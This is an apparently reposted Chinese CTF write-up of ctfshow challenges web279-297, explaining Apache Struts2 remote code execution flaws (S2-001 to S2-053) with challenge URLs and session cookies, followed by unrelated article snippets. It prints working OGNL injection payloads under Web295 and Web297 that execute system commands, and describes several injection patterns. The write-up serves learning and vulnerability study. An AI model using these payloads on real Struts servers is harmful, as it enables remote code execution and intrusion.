Java漏洞复现(ctfshow279-297)strust 漏洞复现及原理解释

news2024/9/20 12:35:08

Java漏洞复现

Strust原理

JavaEE--------Struts2框架-CSDN博客

Web279

struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。

这里的%{value}简单理解就是和flask的模板注入{{}}差不多 会对里面的内容进行解析

因此我们可以利用其进行命令执行

访问:

https://a92d64a9-8002-46d5-8f59-f11865ad32ad.challenge.ctf.show/S2-001/login.action

添加cookie:

JSESSIONID=7E8A2700754C4F23FB59EA13B5E66258

利用工具扫描漏洞

命令执行:

env

Web280

struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(u0023)或8进制(43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开

https://b3db2c9f-0e82-443b-9c65-9ad58b5396ba.challenge.ctf.show/S2-005/example/HelloWorld.action

添加cookie

JSESSIONID=48532210EF370D206347C46234D5D001

工具扫描命令执行env

Web281

描述: Apache Struts是美国阿帕奇(Apache)软件基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。 攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段,通 过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常,进而导致任意代码执行。

https://8936a353-7a11-4429-bcb7-65f6d498efd5.challenge.ctf.show/S2-007/user.action

工具扫描出漏洞

env

Web282

2.3.1.1 之前的 Apache Struts 中的 CookieInterceptor 组件不使用参数名称白名单,这允许远程攻击者通过精心制作的 HTTP Cookie 标头执行任意命令,该标头通过静态方法触发 Java 代码执行。

访问

https://b1c01aa2-1742-47fa-b3aa-ff1eaa81c211.challenge.ctf.show/S2-008/cookie.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web283

Struts2对S2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023或\43来绕过;后来Struts2对S2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。

但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它,从而绕过官方对#、\等特殊字符的防御。

影响版本Struts 2.1.0-2.3.1.1

https://6b357185-faa4-4d43-963f-ba528b32cb1f.challenge.ctf.show/S2-009/showcase.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web284

原理:

从漏洞公告中获悉漏洞会出现的场景:如果一个Action定义了一个变量比如uname,当触发了redirect类型的返回时,如果重定向的url后面带有?uname=${uname},则在这个过程中会对uname参数的值进行OGNL表达式计算。

https://0a239cda-2512-44c9-83ed-07670463fa01.challenge.ctf.show/S2-012/user.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web285

漏洞原理:

Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

none - 链接不包含请求的任意参数值(默认)

get - 链接只包含 GET 请求中的参数和其值

all - 链接包含 GET 和 POST 所有参数和其值

<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞

访问页面;

https://5e53e6c4-6db0-450a-ad90-5d0eddc60b37.challenge.ctf.show/S2-013/link.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web286

漏洞原理:

漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:

<package name="S2-015" extends="struts-default">

    <action name="*" class="com.demo.action.PageAction">

        <result>/{1}.jsp</result>

    </action>

</package>

上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功

还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess['allowStaticMethodAccess']=true 来修改其值达到重获静态方法调用的能力

访问网页

https://ff65f398-559d-4601-994e-befe0c0e4c1e.challenge.ctf.show/S2-015/welcome.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web287

漏洞原理:

在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令

所以,访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式

影响版本: 2.0.0 - 2.3.15

访问网页

https://3373d80f-d16a-4c00-8cf2-a162c1a44fd2.challenge.ctf.show/S2-016/default.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web288

漏洞原理

动态方法调用的默认启用,原理类似于s2-008

Apache Struts 2的“Dynamic Method Invocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,这样就存在远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码

访问网页

https://e78af4f0-f8a5-401d-94ae-72a7f91c6b28.challenge.ctf.show/S2-019/example/HelloWorld.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web289

漏洞原理

Struts框架被强制执行时,对分配给某些标签的属性值进行双重评估,因此可以传入一个值,当一个标签的属性将被渲染时,该值将被再次评估

例如:代码执行过程大致为先尝试获取value的值,如果value为空,那么就二次解释执行了name。并且在执行前给name加上了”%{}”。最终造成二次执行

影响版本:Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)

访问网页

https://1908b8d7-efee-4780-96b5-c6b1b6a63659.challenge.ctf.show/S2-029/default.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web290

漏洞原理

Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞

影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

访问网页

https://efb96afc-c69b-4efa-847c-0a59c83658cd.challenge.ctf.show/S2-032/memoedit.action?id=3

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web291

漏洞原理

当开启动态方法调用,并且同时使用了Strut2 REST Plugin插件时,使用“!”操作符调用动态方法可能执行ognl表达式,导致代码执行

影响版本:Struts 2.3.20 – Struts 2.3.28 (不包括 2.3.20.3和 2.3.24.3)

访问网页

https://2af2db99-e298-45ce-8d9f-e9cbf9750142.challenge.ctf.show/S2-033/orders

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web292

漏洞原理

与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用\x00截断

影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

访问网页

https://8eb617fc-e8b9-4156-b25a-0037c79423d5.challenge.ctf.show/S2-037/orders

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web293

漏洞原理

在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵

恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令

影响版本:Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

访问网页

https://03ddefd2-67c3-4933-8319-d8496c27377c.challenge.ctf.show/S2-045/orders

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web294

漏洞原理:

与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用\x00截断

影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

访问网页

https://0e4071fd-26d8-49c8-9ee1-8128789597c5.challenge.ctf.show/S2-046/doUpload.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web295

漏洞原理

漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用

而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同时这个 getText() 的 参数输入点,又可以被用户直接进行控制,如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个RCE攻击

影响版本: 2.0.0 - 2.3.32

访问网页

https://550f7b64-9a87-43e3-991b-1effb6b8b618.challenge.ctf.show/S2-048/viewSource.action?config=file:/usr/local/tomcat/webapps/S2-048/WEB-INF/classes/struts.xml:78&className=com.opensymphony.xwork2.ActionSupport&page=///WEB-INF/showcase.jsp

工具扫描:

Poc:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())).(#q)}

Web296

漏洞原理

Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:

扩展名 Content-Type 解析方法

xml application/xml xstream

json application/json jsonlib或jackson(可选)

xhtml application/xhtml+xml 无

无 application/x-www-form-urlencoded 无

无 multipart/form-data 无

jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:

<classname></classname>

//或者

<paramname class="classname"></paramname>

所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget

影响版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

访问网页

https://4c25fcc4-d874-4020-ab16-ff1529cba4c5.challenge.ctf.show/S2-052/orders/3/edit

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web297

漏洞原理

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞

访问网页

Poc:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏洞复现-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1953548.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【计算机网络】IP分片实验

一&#xff1a;实验目的 1&#xff1a;理解IP数据报分片的工作原理。 2&#xff1a;理解IP协议报文类型和格式。 二&#xff1a;实验仪器设备及软件 硬件&#xff1a;RCMS-C服务器、网线、Windows 2019/2003操作系统的计算机等。 软件&#xff1a;记事本、WireShark、Chrom…

昇思25天学习打卡营第22天|CycleGAN图像风格迁移互换

相关知识 CycleGAN 循环生成网络&#xff0c;实现了在没有配对示例的情况下将图像从源域X转换到目标域Y的方法&#xff0c;应用于域迁移&#xff0c;也就是图像风格迁移。上章介绍了可以完成图像翻译任务的Pix2Pix&#xff0c;但是Pix2Pix的数据必须是成对的。CycleGAN中只需…

DosSnake-入土为安第八天

记录一下不能F5反编译 加密方式 密文 异或操作函数 xor_string_with_key&#xff1a; 接受两个字符串作为输入&#xff1a;待处理的 text 和 key。对每个字符进行异或操作。使用 ord(char) 获取字符的 ASCII 值&#xff0c;ord(key[i % key_length]) 是 key 中对应位置的字符的…

3D Web轻量化引擎HOOPS Communicator针对复杂大模型Web端可视化的解决方案

随着工程设计、制造和建筑领域中三维模型的日益复杂化&#xff0c;如何在Web端高效处理和展示这些大规模数据成为一大挑战。HOOPS Communicator作为一款强大的3D可视化工具&#xff0c;提供了一套针对复杂大模型的轻量化解决方案&#xff0c;涵盖了模型轻量化及格式转换、超大模…

【基础算法总结】队列 + 宽搜(BFS)

队列 宽搜BFS 1.N 叉树的层序遍历2.二叉树的锯齿形层序遍历3.二叉树最大宽度4.在每个树行中找最大值 点赞&#x1f44d;&#x1f44d;收藏&#x1f31f;&#x1f31f;关注&#x1f496;&#x1f496; 你的支持是对我最大的鼓励&#xff0c;我们一起努力吧!&#x1f603;&#…

活动报名小程序

#活动报名工具# # 活动报名小程序 ## 项目简介 一款通用的活动报名工具&#xff0c;包含活动展示&#xff0c;微信支付&#xff0c;订单管理&#xff0c;分享评价等功能。 品客聚精彩&#xff0c;有你才精彩&#xff01;不只有线下活动还可以进行线上裂变活动。 …

SpringBoot知识笔记

一、基本概念 1.1 特性 起步依赖 自动配置 其它特性:内嵌的Tomcat、Jetty(无需部署WAR文件),外部配置,不需要XML配置(properties/yml)。 1.2 配置文件 SpringBoot提供了多种属性配置方式 //application.properties server.port=9090 server.servlet.context-path…

自从与泰勒斯威夫特约会以来,特拉维斯凯尔西表现得像布拉德皮特一样挥霍打扮

今年对于泰勒斯威夫特和特拉维斯凯尔西来说可谓是风云变幻的一年&#xff0c;他们秘密开始约会&#xff0c;然后有了今年最引人瞩目的恋情。对于这位 NFL 运动员来说&#xff0c;这是一个巨大的变化&#xff0c;因为随着斯威夫特的粉丝们了解了凯尔西家族的一切&#xff0c;他的…

人机交互不仅仅是科技问题

人机交互不仅仅局限于物理和数理科学的应用&#xff0c;还涉及到更广泛的管理、文理、哲学、艺术、伦理以及法律等领域。下面这些领域在人机协同和智能系统应用中扮演着重要角色&#xff1a; 智能系统在企业管理、资源分配、决策支持等方面的应用&#xff0c;可以帮助管理者优化…

自学网络安全,从小白到大神的破茧之路!

在当今数字化高速发展的时代&#xff0c;网络安全已经成为了至关重要的领域。无论是个人的隐私保护&#xff0c;还是企业、国家的关键信息资产维护&#xff0c;都离不开网络安全的有力保障。出于对这一领域的浓厚兴趣以及对未来职业发展的清晰规划&#xff0c;我毅然决然地踏上…

基于物联网的区块链算力网络,IGP/BGP协议

目录 基于物联网的区块链算力网络 IGP/BGP协议 IGP(内部网关协议) BGP(边界网关协议) 内部使用ISP的外部使用BGP的原因 一、网络规模和复杂性 二、路由协议的特性 三、满足业务需求 四、结论 基于物联网的区块链算力网络 通 过 多个物联网传感器将本地计算…

科普文:kubernets原理

kubernetes 已经成为容器编排领域的王者&#xff0c;它是基于容器的集群编排引擎&#xff0c;具备扩展集群、滚动升级回滚、弹性伸缩、自动治愈、服务发现等多种特性能力。 本文将带着大家快速了解 kubernetes &#xff0c;了解我们谈论 kubernetes 都是在谈论什么。 一、背…

Godot入门 08敌人

添加Node2D节点&#xff0c;添加AnimatedSprite2D节点。 从精灵表中添加帧 设置加载后自动播放&#xff0c;10FPS&#xff0c;并拖动动画到水平线上 插入死亡区域场景 添加CollisionShape2D节点&#xff0c;设置矩形碰撞形状。按住ALT可对称修改碰撞形状。 重命名Node2D为Slim…

数据结构之探索“堆”的奥秘

找往期文章包括但不限于本期文章中不懂的知识点&#xff1a; 个人主页&#xff1a;我要学编程(ಥ_ಥ)-CSDN博客 所属专栏&#xff1a;数据结构&#xff08;Java版&#xff09; 目录 堆的概念 堆的创建 时间复杂度分析&#xff1a; 堆的插入与删除 优先级队列 PriorityQ…

nodejs - express 学习笔记

express 是一个基于 Node.js 平台的极简、灵活的 WEB 应用开发框架&#xff0c;官方网址&#xff1a;https://www.expressjs. com.cn/ 简单来说&#xff0c;express 是一个封装好的工具包&#xff0c;封装了很多功能&#xff0c;便于我们开发 WEB 应用&#xff08;HTTP 服务&am…

TinyALSA 简介

TinyALSA 是一个轻量级的 ALSA&#xff08;Advanced Linux Sound Architecture&#xff0c;高级 Linux 音频架构&#xff09;实现&#xff0c;用于与 Linux 内核中的 ALSA&#xff08;高级 Linux 声音架构&#xff09;进行交互&#xff0c;旨在为嵌入式系统和资源受限的设备提供…

提取视频中的文字如何提取?分享4种简单提取方法

在短视频时代&#xff0c;视频已成为信息传播的重要载体。然而&#xff0c;面对海量的视频资源&#xff0c;如何高效提取其中的文字信息&#xff0c;成为许多人关注的焦点&#xff0c;因为快速提取出视频中的文字可以帮助我们整理、编辑文本信息&#xff0c;下面给大家分享4种简…

Linux 基础开发工具 : Vim编辑器

Vim 是 Linux 和其他类 Unix 系统上广泛使用的文本编辑器之一。它基于更早的 vi 编辑器&#xff0c;但添加了许多增强功能和扩展。Vim 是“Vi IMproved”的缩写&#xff0c;意为“改进的 Vi”&#xff0c;我们常使用Vim编辑器编写c/c代码。 ps&#xff1a;该篇介绍均为最基础介…

【LeetCode:3106. 满足距离约束且字典序最小的字符串 + 贪心】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

谷粒商城实战-58-商品服务-API-三级分类-删除-批量删除小结

文章目录 一&#xff0c;增加一个批量删除的按钮并绑定事件二&#xff0c;全栈工程师三&#xff0c;逆向工程在全栈开发中的应用提升效率的方式&#xff1a;使用案例&#xff1a; 这一节的主要内容是开发批量删除分类的功能。 一&#xff0c;增加一个批量删除的按钮并绑定事件 …